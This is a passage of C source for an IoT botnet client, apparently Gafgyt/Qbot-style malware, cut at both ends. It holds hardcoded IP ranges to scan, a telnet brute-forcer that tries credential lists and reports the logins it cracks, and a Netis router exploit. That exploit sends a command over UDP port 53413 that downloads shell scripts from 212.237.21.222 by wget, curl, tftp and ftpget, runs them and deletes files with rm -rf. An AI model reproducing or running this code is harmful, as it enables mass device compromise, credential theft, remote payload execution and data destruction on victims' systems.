  929. if(randnum == 78)
  930. {
  931. szprintf(ip, "14.180.%d.%d", ipState[3], ipState[4]);
  932. }
  933. if(randnum == 79)
  934. {
  935. szprintf(ip, "14.181.%d.%d", ipState[3], ipState[4]);
  936. }
  937. if(randnum == 80)
  938. {
  939. szprintf(ip, "14.182.%d.%d", ipState[3], ipState[4]);
  940. }
  941. if(randnum == 81)
  942. {
  943. szprintf(ip, "14.183.%d.%d", ipState[3], ipState[4]);
  944. }
  945. if(randnum == 82)
  946. {
  947. szprintf(ip, "14.184.%d.%d", ipState[3], ipState[4]);
  948. }
  949. if(randnum == 83)
  950. {
  951. szprintf(ip, "14.185.%d.%d", ipState[3], ipState[4]);
  952. }
  953. if(randnum == 84)
  954. {
  955. szprintf(ip, "14.186.%d.%d", ipState[3], ipState[4]);
  956. }
  957. if(randnum == 85)
  958. {
  959. szprintf(ip, "14.187.%d.%d", ipState[3], ipState[4]);
  960. }
  961. if(randnum == 86)
  962. {
  963. szprintf(ip, "14.188.%d.%d", ipState[3], ipState[4]);
  964. }
  965. if(randnum == 87)
  966. {
  967. szprintf(ip, "14.189.%d.%d", ipState[3], ipState[4]);
  968. }
  969. if(randnum == 88)
  970. {
  971. szprintf(ip, "14.190.%d.%d", ipState[3], ipState[4]);
  972. }
  973. if(randnum == 89)
  974. {
  975. szprintf(ip, "14.191.%d.%d", ipState[3], ipState[4]);
  976. }
  977. if(randnum == 90)
  978. {
  979. szprintf(ip, "45.121.%d.%d", ipState[3], ipState[4]);
  980. }
  981. if(randnum == 91)
  982. {
  983. szprintf(ip, "45.120.%d.%d", ipState[3], ipState[4]);
  984. }
  985. if(randnum == 92)
  986. {
  987. szprintf(ip, "45.115.%d.%d", ipState[3], ipState[4]);
  988. }
  989. if(randnum == 93)
  990. {
  991. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  992. }
  993. if(randnum == 94)
  994. {
  995. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  996. }
  997. if(randnum == 95)
  998. {
  999. szprintf(ip, "43.240.%d.%d", ipState[3], ipState[4]);
  1000. }
  1001. if(randnum == 96)
  1002. {
  1003. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  1004. }
  1005. if(randnum == 97)
  1006. {
  1007. szprintf(ip, "41.174.%d.%d", ipState[3], ipState[4]);
  1008. }
  1009. if(randnum == 98)
  1010. {
  1011. szprintf(ip, "49.118.%d.%d", ipState[3], ipState[4]);
  1012. }
  1013. if(randnum == 99)
  1014. {
  1015. szprintf(ip, "78.188.%d.%d", ipState[3], ipState[4]);
  1016. }
  1017. if(randnum == 100)
  1018. {
  1019. szprintf(ip, "45.127.%d.%d", ipState[3], ipState[4]);
  1020. }
  1021. if(randnum == 101)
  1022. {
  1023. szprintf(ip, "103.30.%d.%d", ipState[3], ipState[4]);
  1024. }
  1025. if(randnum == 102)
  1026. {
  1027. szprintf(ip, "14.33.%d.%d", ipState[3], ipState[4]);
  1028. }
  1029. if(randnum == 103)
  1030. {
  1031. szprintf(ip, "123.16.%d.%d", ipState[3], ipState[4]);
  1032. }
  1033. if(randnum == 104)
  1034. {
  1035. szprintf(ip, "202.44.%d.%d", ipState[3], ipState[4]);
  1036. }
  1037. if(randnum == 105)
  1038. {
  1039. szprintf(ip, "116.93.%d.%d", ipState[3], ipState[4]);
  1040. }
  1041. if(randnum == 106)
  1042. {
  1043. szprintf(ip, "91.83.%d.%d", ipState[3], ipState[4]);
  1044. }
  1045. if(randnum == 107)
  1046. {
  1047. szprintf(ip, "41.253.%d.%d", ipState[3], ipState[4]);
  1048. }
  1049. if(randnum == 108)
  1050. {
  1051. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1052. }
  1053. if(randnum == 109)
  1054. {
  1055. szprintf(ip, "113.190.%d.%d", ipState[3], ipState[4]);
  1056. }
  1057. if(randnum == 110)
  1058. {
  1059. szprintf(ip, "146.88.%d.%d", ipState[3], ipState[4]);
  1060. }
  1061. if(randnum == 111)
  1062. {
  1063. szprintf(ip, "112.196.%d.%d", ipState[3], ipState[4]);
  1064. }
  1065. if(randnum == 112)
  1066. {
  1067. szprintf(ip, "113.178.%d.%d", ipState[3], ipState[4]);
  1068. }
  1069. if(randnum == 113)
  1070. {
  1071. szprintf(ip, "112.45.%d.%d", ipState[3], ipState[4]);
  1072. }
  1073. if(randnum == 114)
  1074. {
  1075. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1076. }
  1077. if(randnum == 115)
  1078. {
  1079. szprintf(ip, "116.71.%d.%d", ipState[3], ipState[4]);
  1080. }
  1081. if(randnum == 116)
  1082. {
  1083. szprintf(ip, "103.44.%d.%d", ipState[3], ipState[4]);
  1084. }
  1085. if(randnum == 117)
  1086. {
  1087. szprintf(ip, "110.235.%d.%d", ipState[3], ipState[4]);
  1088. }
  1089. if(randnum == 118)
  1090. {
  1091. szprintf(ip, "124.253.%d.%d", ipState[3], ipState[4]);
  1092. }
  1093. if(randnum == 119)
  1094. {
  1095. szprintf(ip, "211.237.%d.%d", ipState[3], ipState[4]);
  1096. }
  1097. if(randnum == 120)
  1098. {
  1099. szprintf(ip, "117.175.%d.%d", ipState[3], ipState[4]);
  1100. }
  1101. if(randnum == 121)
  1102. {
  1103. szprintf(ip, "117.173.%d.%d", ipState[3], ipState[4]);
  1104. }
  1105. if(randnum == 122)
  1106. {
  1107. szprintf(ip, "178.93.%d.%d", ipState[3], ipState[4]);
  1108. }
  1109. if(randnum == 123)
  1110. {
  1111. szprintf(ip, "111.9.%d.%d", ipState[3], ipState[4]);
  1112. }
  1113. if(randnum == 124)
  1114. {
  1115. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1116. }
  1117. if(randnum == 125)
  1118. {
  1119. szprintf(ip, "113.174.%d.%d", ipState[3], ipState[4]);
  1120. }
  1121. if(randnum == 126)
  1122. {
  1123. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1124. }
  1125. if(randnum == 127)
  1126. {
  1127. szprintf(ip, "113.160.%d.%d", ipState[3], ipState[4]);
  1128. }
  1129. if(randnum == 128)
  1130. {
  1131. szprintf(ip, "113.161.%d.%d", ipState[3], ipState[4]);
  1132. }
  1133. if(randnum == 129)
  1134. {
  1135. szprintf(ip, "113.162.%d.%d", ipState[3], ipState[4]);
  1136. }
  1137. if(randnum == 130)
  1138. {
  1139. szprintf(ip, "113.163.%d.%d", ipState[3], ipState[4]);
  1140. }
  1141. if(randnum == 131)
  1142. {
  1143. szprintf(ip, "113.164.%d.%d", ipState[3], ipState[4]);
  1144. }
  1145. if(randnum == 132)
  1146. {
  1147. szprintf(ip, "113.165.%d.%d", ipState[3], ipState[4]);
  1148. }
  1149. if(randnum == 133)
  1150. {
  1151. szprintf(ip, "113.166.%d.%d", ipState[3], ipState[4]);
  1152. }
  1153. if(randnum == 134)
  1154. {
  1155. szprintf(ip, "113.167.%d.%d", ipState[3], ipState[4]);
  1156. }
  1157. if(randnum == 135)
  1158. {
  1159. szprintf(ip, "113.168.%d.%d", ipState[3], ipState[4]);
  1160. }
  1161. if(randnum == 136)
  1162. {
  1163. szprintf(ip, "113.169.%d.%d", ipState[3], ipState[4]);
  1164. }
  1165. if(randnum == 137)
  1166. {
  1167. szprintf(ip, "123.17.%d.%d", ipState[3], ipState[4]);
  1168. }
  1169. if(randnum == 138)
  1170. {
  1171. szprintf(ip, "123.18.%d.%d", ipState[3], ipState[4]);
  1172. }
  1173. if(randnum == 139)
  1174. {
  1175. szprintf(ip, "123.19.%d.%d", ipState[3], ipState[4]);
  1176. }
  1177. if(randnum == 140)
  1178. {
  1179. szprintf(ip, "123.20.%d.%d", ipState[3], ipState[4]);
  1180. }
  1181. if(randnum == 141)
  1182. {
  1183. szprintf(ip, "123.21.%d.%d", ipState[3], ipState[4]);
  1184. }
  1185. if(randnum == 142)
  1186. {
  1187. szprintf(ip, "123.22.%d.%d", ipState[3], ipState[4]);
  1188. }
  1189. if(randnum == 143)
  1190. {
  1191. szprintf(ip, "222.252.%d.%d", ipState[3], ipState[4]);
  1192. }
  1193. if(randnum == 144)
  1194. {
  1195. szprintf(ip, "222.253.%d.%d", ipState[3], ipState[4]);
  1196. }
  1197. if(randnum == 145)
  1198. {
  1199. szprintf(ip, "222.254.%d.%d", ipState[3], ipState[4]);
  1200. }
  1201. if(randnum == 146)
  1202. {
  1203. szprintf(ip, "222.255.%d.%d", ipState[3], ipState[4]);
  1204. }
  1205. if(randnum == 147)
  1206. {
  1207. szprintf(ip, "37.247.%d.%d", ipState[3], ipState[4]);
  1208. }
  1209. if(randnum == 148)
  1210. {
  1211. szprintf(ip, "41.208.%d.%d", ipState[3], ipState[4]);
  1212. }
  1213. if(randnum == 149)
  1214. {
  1215. szprintf(ip, "183.220.%d.%d", ipState[3], ipState[4]);
  1216. }
  1217. if(randnum == 150)
  1218. {
  1219. szprintf(ip, "175.201.%d.%d", ipState[3], ipState[4]);
  1220. }
  1221. if(randnum == 151)
  1222. {
  1223. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1224. }
  1225. if(randnum == 152)
  1226. {
  1227. szprintf(ip, "183.223.%d.%d", ipState[3], ipState[4]);
  1228. }
  1229. if(randnum == 153)
  1230. {
  1231. szprintf(ip, "50.205.%d.%d", ipState[3], ipState[4]);
  1232. }
  1233. if(randnum == 154)
  1234. {
  1235. szprintf(ip, "88.248.%d.%d", ipState[3], ipState[4]);
  1236. }
  1237. if(randnum == 155)
  1238. {
  1239. szprintf(ip, "88.105.%d.%d", ipState[3], ipState[4]);
  1240. }
  1241. if(randnum == 156)
  1242. {
  1243. szprintf(ip, "88.247.%d.%d", ipState[3], ipState[4]);
  1244. }
  1245. if(randnum == 157)
  1246. {
  1247. szprintf(ip, "85.105.%d.%d", ipState[3], ipState[4]);
  1248. }
  1249. if(randnum == 158)
  1250. {
  1251. szprintf(ip, "188.3.%d.%d", ipState[3], ipState[4]);
  1252. }
  1253. if(randnum == 159)
  1254. {
  1255. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1256. }
  1257. if(randnum == 160)
  1258. {
  1259. szprintf(ip, "103.55.%d.%d", ipState[3], ipState[4]);
  1260. }
  1261. if(randnum == 161)
  1262. {
  1263. szprintf(ip, "103.220.%d.%d", ipState[3], ipState[4]);
  1264. }
  1265. if(randnum == 162)
  1266. {
  1267. szprintf(ip, "183.233.%d.%d", ipState[3], ipState[4]);
  1268. }
  1269. if(randnum == 163)
  1270. {
  1271. szprintf(ip, "103.242.%d.%d", ipState[3], ipState[4]);
  1272. }
  1273. if(randnum == 164)
  1274. {
  1275. szprintf(ip, "103.198.%d.%d", ipState[3], ipState[4]);
  1276. }
  1277. if(randnum == 165)
  1278. {
  1279. szprintf(ip, "103.14.%d.%d", ipState[3], ipState[4]);
  1280. }
  1281. if(randnum == 166)
  1282. {
  1283. szprintf(ip, "103.195.%d.%d", ipState[3], ipState[4]);
  1284. }
  1285. if(randnum == 167)
  1286. {
  1287. szprintf(ip, "103.203.%d.%d", ipState[3], ipState[4]);
  1288. }
  1289. if(randnum == 168)
  1290. {
  1291. szprintf(ip, "103.214.%d.%d", ipState[3], ipState[4]);
  1292. }
  1293. if(randnum == 169)
  1294. {
  1295. szprintf(ip, "103.218.%d.%d", ipState[3], ipState[4]);
  1296. }
  1297. if(randnum == 171)
  1298. {
  1299. szprintf(ip, "103.225.%d.%d", ipState[3], ipState[4]);
  1300. }
  1301. if(randnum == 172)
  1302. {
  1303. szprintf(ip, "103.228.%d.%d", ipState[3], ipState[4]);
  1304. }
  1305. if(randnum == 173)
  1306. {
  1307. szprintf(ip, "103.231.%d.%d", ipState[3], ipState[4]);
  1308. }
  1309. if(randnum == 174)
  1310. {
  1311. szprintf(ip, "103.60.%d.%d", ipState[3], ipState[4]);
  1312. }
  1313. if(randnum == 175)
  1314. {
  1315. szprintf(ip, "103.248.%d.%d", ipState[3], ipState[4]);
  1316. }
  1317. if(randnum == 176)
  1318. {
  1319. szprintf(ip, "103.253.%d.%d", ipState[3], ipState[4]);
  1320. }
  1321. if(randnum == 177)
  1322. {
  1323. szprintf(ip, "103.255.%d.%d", ipState[3], ipState[4]);
  1324. }
  1325. if(randnum == 178)
  1326. {
  1327. szprintf(ip, "103.35.%d.%d", ipState[3], ipState[4]);
  1328. }
  1329. if(randnum == 179)
  1330. {
  1331. szprintf(ip, "103.49.%d.%d", ipState[3], ipState[4]);
  1332. }
  1333. if(randnum == 180)
  1334. {
  1335. szprintf(ip, "103.62.%d.%d", ipState[3], ipState[4]);
  1336. }
  1337. if(randnum == 181)
  1338. {
  1339. szprintf(ip, "144.48.%d.%d", ipState[3], ipState[4]);
  1340. }
  1341. if(randnum == 182)
  1342. {
  1343. szprintf(ip, "163.47.%d.%d", ipState[3], ipState[4]);
  1344. }
  1345. if(randnum == 183)
  1346. {
  1347. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  1348. }
  1349. if(randnum == 184)
  1350. {
  1351. szprintf(ip, "223.29.%d.%d", ipState[3], ipState[4]);
  1352. }
  1353. if(randnum == 185)
  1354. {
  1355. szprintf(ip, "59.153.%d.%d", ipState[3], ipState[4]);
  1356. }
  1357. if(randnum == 186)
  1358. {
  1359. szprintf(ip, "113.176.%d.%d", ipState[3], ipState[4]);
  1360. }
  1361. if(randnum == 187)
  1362. {
  1363. szprintf(ip, "113.175.%d.%d", ipState[3], ipState[4]);
  1364. }
  1365. if(randnum == 188)
  1366. {
  1367. szprintf(ip, "113.177.%d.%d", ipState[3], ipState[4]);
  1368. }
  1369. if(randnum == 189)
  1370. {
  1371. szprintf(ip, "113.183.%d.%d", ipState[3], ipState[4]);
  1372. }
  1373. if(randnum == 190)
  1374. {
  1375. szprintf(ip, "202.164.%d.%d", ipState[3], ipState[4]);
  1376. }
  1377. if(randnum == 191)
  1378. {
  1379. szprintf(ip, "203.134.%d.%d", ipState[3], ipState[4]);
  1380. }
  1381. if(randnum == 192)
  1382. {
  1383. szprintf(ip, "210.56.%d.%d", ipState[3], ipState[4]);
  1384. }
  1385. if(randnum == 193)
  1386. {
  1387. szprintf(ip, "49.156.%d.%d", ipState[3], ipState[4]);
  1388. }
  1389. if(randnum == 194)
  1390. {
  1391. szprintf(ip, "203.210.%d.%d", ipState[3], ipState[4]);
  1392. }
  1393. if(randnum == 195)
  1394. {
  1395. szprintf(ip, "117.181.%d.%d", ipState[3], ipState[4]);
  1396. }
  1397. if(randnum == 196)
  1398. {
  1399. szprintf(ip, "117.178.%d.%d", ipState[3], ipState[4]);
  1400. }
  1401. if(randnum == 197)
  1402. {
  1403. szprintf(ip, "117.177.%d.%d", ipState[3], ipState[4]);
  1404. }
  1405. if(randnum == 198)
  1406. {
  1407. szprintf(ip, "117.176.%d.%d", ipState[3], ipState[4]);
  1408. }
  1409. if(randnum == 199)
  1410. {
  1411. szprintf(ip, "117.170.%d.%d", ipState[3], ipState[4]);
  1412. }
  1413. if(randnum == 200)
  1414. {
  1415. szprintf(ip, "117.171.%d.%d", ipState[3], ipState[4]);
  1416. }
  1417. if(randnum == 201)
  1418. {
  1419. szprintf(ip, "117.162.%d.%d", ipState[3], ipState[4]);
  1420. }
  1421. if(randnum == 201)
  1422. {
  1423. szprintf(ip, "112.26.%d.%d", ipState[3], ipState[4]);
  1424. }
  1425. if(randnum == 202)
  1426. {
  1427. szprintf(ip, "112.27.%d.%d", ipState[3], ipState[4]);
  1428. }
  1429. if(randnum == 203)
  1430. {
  1431. szprintf(ip, "112.28.%d.%d", ipState[3], ipState[4]);
  1432. }
  1433. if(randnum == 204)
  1434. {
  1435. szprintf(ip, "112.29.%d.%d", ipState[3], ipState[4]);
  1436. }
  1437. if(randnum == 205)
  1438. {
  1439. szprintf(ip, "112.30.%d.%d", ipState[3], ipState[4]);
  1440. }
  1441. if(randnum == 206)
  1442. {
  1443. szprintf(ip, "112.31.%d.%d", ipState[3], ipState[4]);
  1444. }
  1445. if(randnum == 207)
  1446. {
  1447. szprintf(ip, "203.150.%d.%d", ipState[3], ipState[4]);
  1448. }
  1449. if(randnum == 208)
  1450. {
  1451. szprintf(ip, "50.233.%d.%d", ipState[3], ipState[4]);
  1452. }
  1453.  
  1454. return inet_addr(ip);
  1455. }
  1456.  
  1457. int Dickranges[] = {110,111,112,113,114,115,116,117,118,119,223,1,27,182,36,39,42,123,122,41,59,220,221,175,14,101,58,60,61,183};
  1458. in_addr_t NetisRanges()
  1459. {
  1460. int range = rand() % (sizeof(Dickranges)/sizeof(char *));
  1461. ipState[1] = Dickranges[range];
  1462. ipState[2] = rand() % 255;
  1463. ipState[3] = rand() % 255;
  1464. ipState[4] = rand() % 255;
  1465. char ip[16] = {0};
  1466. szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  1467. return inet_addr(ip);
  1468. }
  1469. in_addr_t HackerScan(in_addr_t netmask)
  1470. {
  1471. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  1472. return tmp ^ ( rand_cmwc() & ~netmask);
  1473. }
  1474. unsigned short csum (unsigned short *buf, int count)
  1475. {
  1476. register uint64_t sum = 0;
  1477. while( count > 1 ) { sum += *buf++; count -= 2; }
  1478. if(count > 0) { sum += *(unsigned char *)buf; }
  1479. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  1480. return (uint16_t)(~sum);
  1481. }
  1482. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  1483. {
  1484. struct tcp_pseudo
  1485. {
  1486. unsigned long src_addr;
  1487. unsigned long dst_addr;
  1488. unsigned char zero;
  1489. unsigned char proto;
  1490. unsigned short length;
  1491. } pseudohead;
  1492. unsigned short total_len = iph->tot_len;
  1493. pseudohead.src_addr=iph->saddr;
  1494. pseudohead.dst_addr=iph->daddr;
  1495. pseudohead.zero=0;
  1496. pseudohead.proto=IPPROTO_TCP;
  1497. pseudohead.length=htons(sizeof(struct tcphdr));
  1498. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  1499. unsigned short *tcp = malloc(totaltcp_len);
  1500. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  1501. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  1502. unsigned short output = csum(tcp,totaltcp_len);
  1503. free(tcp);
  1504. return output;
  1505. }
  1506. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  1507. {
  1508. iph->ihl = 5;
  1509. iph->version = 4;
  1510. iph->tos = 0;
  1511. iph->tot_len = sizeof(struct iphdr) + packetSize;
  1512. iph->id = rand_cmwc();
  1513. iph->frag_off = 0;
  1514. iph->ttl = MAXTTL;
  1515. iph->protocol = protocol;
  1516. iph->check = 0;
  1517. iph->saddr = source;
  1518. iph->daddr = dest;
  1519. }
  1520. int sclose(int fd)
  1521. {
  1522. if(3 > fd) return 1;
  1523. close(fd);
  1524. return 0;
  1525. }
  1526. struct telstate_t
  1527. {
  1528. int fd;
  1529. unsigned int ip;
  1530. unsigned char state;
  1531. unsigned char complete;
  1532. unsigned char usernameInd;
  1533. unsigned char passwordInd;
  1534. unsigned char tempDirInd;
  1535. unsigned int totalTimeout;
  1536. unsigned short bufUsed;
  1537. char *sockbuf;
  1538. };
  1539. const char* get_telstate_host(struct telstate_t* telstate)
  1540. {
  1541. struct in_addr in_addr_ip;
  1542. in_addr_ip.s_addr = telstate->ip;
  1543. return inet_ntoa(in_addr_ip);
  1544. }
  1545. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  1546. {
  1547. int num_bytes, i;
  1548. memset(buffer, 0, buf_size);
  1549. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  1550. if(buffer[0] == 0xFF)
  1551. {
  1552. negotiate(fd, buffer, 3);
  1553. }
  1554. if(contains_string(buffer, strings))
  1555. {
  1556. return 1;
  1557. }
  1558. return 0;
  1559. }
  1560. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  1561. {
  1562. fd_set read_set;
  1563. struct timeval tv;
  1564. tv.tv_sec = 0;
  1565. tv.tv_usec = timeout_usec;
  1566. FD_ZERO(&read_set);
  1567. FD_SET(fd, &read_set);
  1568. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  1569. return 0;
  1570. return recv(fd, buffer, buf_size, 0);
  1571. }
  1572. int contains_success(char* buffer)
  1573. {
  1574. return contains_string(buffer, successes);
  1575. }
  1576. int contains_fail(char* buffer)
  1577. {
  1578. return contains_string(buffer, fails);
  1579. }
  1580. int contains_string(char* buffer, char** strings)
  1581. {
  1582. int num_strings = 0, i = 0;
  1583. for(num_strings = 0; strings[++num_strings] != 0; );
  1584. for(i = 0; i < num_strings; i++)
  1585. {
  1586. if(strcasestr(buffer, strings[i]))
  1587. {
  1588. return 1;
  1589. }
  1590. }
  1591. return 0;
  1592. }
  1593. //major improvments done by Jonah
  1594. void StartTheLelz() {
  1595. int i, res, j;
  1596. char buf[128], cur_dir;
  1597. int wait_usec = 10;
  1598. int maxfds = 1000;
  1599. int max = maxfds;
  1600. fd_set fdset;
  1601. struct timeval tv;
  1602. socklen_t lon;
  1603. int valopt;
  1604. srand(time(NULL) ^ rand_cmwc());
  1605. char line[256];
  1606. char* buffer;
  1607. struct sockaddr_in dest_addr;
  1608. dest_addr.sin_family = AF_INET;
  1609. dest_addr.sin_port = htons(23);
  1610. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1611. buffer = malloc(BUFFER_SIZE + 1);
  1612. memset(buffer, 0, BUFFER_SIZE + 1);
  1613. struct telstate_t fds[max];
  1614. memset(fds, 0, max * (sizeof(int) + 1));
  1615. for(i = 0; i < max; i++) {
  1616. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1617. fds[i].complete = 1;
  1618. fds[i].sockbuf = buffer; }
  1619. while(1) {
  1620. for(i = 0; i < max; i++) {
  1621. if(fds[i].totalTimeout == 0) {
  1622. fds[i].totalTimeout = time(NULL); }
  1623. switch(fds[i].state) {
  1624. case 0: {
  1625. if(fds[i].complete == 1) {
  1626. char *tmp = fds[i].sockbuf;
  1627. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1628. fds[i].sockbuf = tmp;
  1629. fds[i].ip = HackerScan2(); }
  1630. else if(fds[i].complete == 0) {
  1631. fds[i].passwordInd++;
  1632. fds[i].usernameInd++;
  1633. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {
  1634. fds[i].complete = 1;
  1635. continue; }
  1636. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {
  1637. fds[i].complete = 1;
  1638. continue;
  1639. }
  1640. }
  1641. dest_addr.sin_family = AF_INET;
  1642. dest_addr.sin_port = htons(23);
  1643. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1644. dest_addr.sin_addr.s_addr = fds[i].ip;
  1645. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1646. if(fds[i].fd == -1) continue;
  1647. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1648. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  1649. sclose(fds[i].fd);
  1650. fds[i].complete = 1; }
  1651. else {
  1652. fds[i].state = 1;
  1653. fds[i].totalTimeout = 0;
  1654. }
  1655. }
  1656. break;
  1657. case 1:
  1658. {
  1659. FD_ZERO(&fdset);
  1660. FD_SET(fds[i].fd, &fdset);
  1661. tv.tv_sec = 0;
  1662. tv.tv_usec = wait_usec;
  1663. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1664. if(res == 1) {
  1665. lon = sizeof(int);
  1666. valopt = 0;
  1667. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1668. if(valopt) {
  1669. sclose(fds[i].fd);
  1670. fds[i].state = 0;
  1671. fds[i].complete = 1;
  1672. } else {
  1673. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  1674. fds[i].totalTimeout = 0;
  1675. fds[i].bufUsed = 0;
  1676. memset(fds[i].sockbuf, 0, 1024);
  1677. fds[i].state = 2;
  1678. } continue; }
  1679. else if(res == -1) {
  1680. sclose(fds[i].fd);
  1681. fds[i].state = 0;
  1682. fds[i].complete = 1;
  1683. continue; }
  1684. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1685. sclose(fds[i].fd);
  1686. fds[i].state = 0;
  1687. fds[i].complete = 1;
  1688. }
  1689. }
  1690. break;
  1691. case 2:
  1692. {
  1693. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {
  1694. if(contains_fail(fds[i].sockbuf)) {
  1695. fds[i].state = 0;
  1696. } else {
  1697. fds[i].state = 3; }
  1698. continue; }
  1699. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1700. fds[i].state = 0;
  1701. fds[i].complete = 1;
  1702. }
  1703. }
  1704. break;
  1705. case 3: {
  1706. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  1707. fds[i].state = 0;
  1708. fds[i].complete = 1;
  1709. continue; }
  1710. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1711. fds[i].state = 0;
  1712. fds[i].complete = 1;
  1713. continue; }
  1714. fds[i].state = 4; }
  1715. break;
  1716. case 4:
  1717. {
  1718. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances))
  1719. {
  1720. if(contains_fail(fds[i].sockbuf)) {
  1721. fds[i].state = 0;
  1722. } else {
  1723. fds[i].state = 5; }
  1724. continue; }
  1725. if(fds[i].totalTimeout + 6 < time(NULL)) {
  1726. fds[i].state = 0;
  1727. fds[i].complete = 1;
  1728. }
  1729. }
  1730. break;
  1731. case 5:
  1732. {
  1733. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  1734. fds[i].state = 0;
  1735. fds[i].complete = 1;
  1736. continue; }
  1737. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1738. fds[i].state = 0;
  1739. fds[i].complete = 1;
  1740. continue; }
  1741. fds[i].state = 6;
  1742. }
  1743. break;
  1744. case 6:
  1745. {
  1746. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2)) {
  1747. fds[i].totalTimeout = time(NULL);
  1748. if(contains_fail(fds[i].sockbuf)) {
  1749. fds[i].state = 0; }
  1750. else if(contains_success(fds[i].sockbuf)) {
  1751. if(fds[i].complete == 2) {
  1752. fds[i].state = 7; }
  1753. else {
  1754. HackerPrint(D1ckSucka, "\x1b[0;31mSuccessfully Bruteforced IP: \x1b[0;33m%s | \x1b[0;31mUsername: \x1b[0;33m%s | \x1b[0;31mPassword: \x1b[0;33m%s\x1b[0m", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1755. HackerPrint(D1ckSucka, "REPORT %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1756. fds[i].state = 7; }
  1757. } else {
  1758. fds[i].state = 0;
  1759. fds[i].complete = 1;
  1760. } continue; }
  1761. if(fds[i].totalTimeout + 7 < time(NULL)) {
  1762. fds[i].state = 0;
  1763. fds[i].complete = 1;
  1764. }
  1765. }
  1766. break;
  1767. case 7:
  1768. {
  1769. fds[i].totalTimeout = time(NULL);
  1770. if(send(fds[i].fd, hvgsgd, strlen(hvgsgd), MSG_NOSIGNAL) < 0) {
  1771. sclose(fds[i].fd);
  1772. fds[i].state = 0;
  1773. fds[i].complete = 1;
  1774. continue; }
  1775. fds[i].complete = 3;
  1776. if(fds[i].totalTimeout + 60 < time(NULL)) {
  1777. if(fds[i].complete !=3){
  1778. }
  1779. fds[i].state = 0;
  1780. fds[i].complete = 1;
  1781. }
  1782. break;
  1783. }
  1784. }
  1785. }
  1786. }
  1787. }
  1788. void StartTheNetis()
  1789. {
  1790. while(1){
  1791. char payload2[1024];
  1792. int clientSocket, portNum, nBytes;
  1793. struct sockaddr_in serverAddr;
  1794. socklen_t addr_size;
  1795. clientSocket = socket(PF_INET, SOCK_DGRAM, 0);
  1796. uint32_t ip;
  1797. ip = NetisRanges();
  1798. serverAddr.sin_family = AF_INET;
  1799. serverAddr.sin_port = htons(53413);
  1800. serverAddr.sin_addr.s_addr = ip;
  1801. memset(serverAddr.sin_zero, '\0', sizeof serverAddr.sin_zero);
  1802. addr_size = sizeof serverAddr;
  1803. sprintf(payload2, "%s cd /tmp; wget http://212.237.21.222/bins.sh; curl -O http://212.237.21.222/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 212.237.21.222 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 212.237.21.222; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 212.237.21.222 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n x00", NETIS);
  1804. sendto(clientSocket,payload2,strlen(payload2),0,(struct sockaddr *)&serverAddr,addr_size);
  1805. }
  1806. }
  1807. //LOOPING PAYLOAD LOL IDFK WHY
  1808. void LoopPayload(){
  1809. int i;
  1810. for(i = 0; i < 9; i++){
